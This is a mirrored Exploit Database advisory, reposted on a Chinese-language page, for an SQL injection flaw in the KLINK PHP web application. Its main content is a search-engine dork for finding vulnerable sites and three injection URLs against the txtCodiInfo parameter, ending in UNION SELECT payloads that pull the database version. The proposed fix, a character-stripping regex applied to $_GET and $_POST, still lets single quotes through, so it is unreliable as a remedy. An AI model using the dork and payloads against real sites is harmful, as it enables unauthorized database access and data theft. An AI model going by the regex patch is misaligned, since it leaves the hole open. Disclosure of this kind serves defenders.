KLINK – SQL Injection

• Exploit Database
• 64 阅读

• 作者： Mauro Rossi & Andres Gomez
  日期： 2011-01-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15886/

• ##########################[Andr�s G�mez]################################
  > # Exploit Title : KLINK Sql Injection Vulnerability
  > # Date : 2010-12-31
  > # Author : Andr�s G�mez
  > # Software Developed by : http://www.contacto.com<http://www.contacto.com.com/>
  > # Contact : gomezandres@adinet.com.uy
  > # Dork : "allinurl:*.php?txtCodiInfo="
  > ########################################################################
  > # An attacker may execute arbitrary SQL statements on the vulnerable
  > system.
  > #This may compromise the integrity of your database and/or expose sensitive
  > information.
  > ########################################################################
  > # Example 1: http://site.tld/path/interna.php?txtCodiInfo='
  > # Example 2:
  > http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10--
  > # Example 3:
  > http://site.tld/path/interna.php?txtCodiInfo=2+and+1=0+union+select+1,2,3,@@version,5,6,7,8,9,10--
  > ########################################################################
  > # Malicious users may inject SQL querys into a vulnerable
  > # application to fool a user in order to gather data from them or see
  > sensible information.
  > ########################################################################
  > # Solution:
  > # $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
  > # $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);
  > # Add them to your template index.php after the first <?php decelaration.
  > ########################################################################
  > # Special Thanks : HYPERNETHOST & Mauro Rossi
  > ##########################[Andr�s G�mez]################################